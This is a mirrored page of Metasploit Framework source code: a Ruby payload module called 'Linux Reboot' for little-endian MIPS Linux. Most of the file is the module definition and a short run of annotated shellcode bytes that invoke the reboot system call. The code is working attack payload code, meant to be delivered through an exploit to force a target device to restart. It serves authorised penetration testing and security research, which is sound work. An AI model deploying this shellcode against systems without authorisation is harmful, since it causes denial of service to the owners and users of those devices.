CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/mipsle/reboot.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 32
9
10
include Msf::Payload::Single
11
include Msf::Payload::Linux
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'Linux Reboot',
16
'Description' => %q{
17
A very small shellcode for rebooting the system.
18
This payload is sometimes helpful for testing purposes.
19
},
20
'Author' =>
21
[
22
'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
23
'rigan - <imrigan[at]gmail.com>' #original payload
24
],
25
'References' =>
26
[
27
['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
28
],
29
'License' => MSF_LICENSE,
30
'Platform' => 'linux',
31
'Arch' => ARCH_MIPSLE,
32
'Payload' =>
33
{
34
'Offsets' => {} ,
35
'Payload' => ''
36
})
37
)
38
end
39
40
def generate(_opts = {})
41
shellcode =
42
"\x21\x43\x06\x3c" + # lui a2,0x4321
43
"\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc
44
"\x12\x28\x05\x3c" + # lui a1,0x2812
45
"\x69\x19\xa5\x34" + # ori a1,a1,0x1969
46
"\xe1\xfe\x04\x3c" + # lui a0,0xfee1
47
"\xad\xde\x84\x34" + # ori a0,a0,0xdead
48
"\xf8\x0f\x02\x24" + # li v0,4088
49
"\x0c\x01\x01\x01" # syscall 0x40404
50
51
return super + shellcode
52
end
53
end
54
55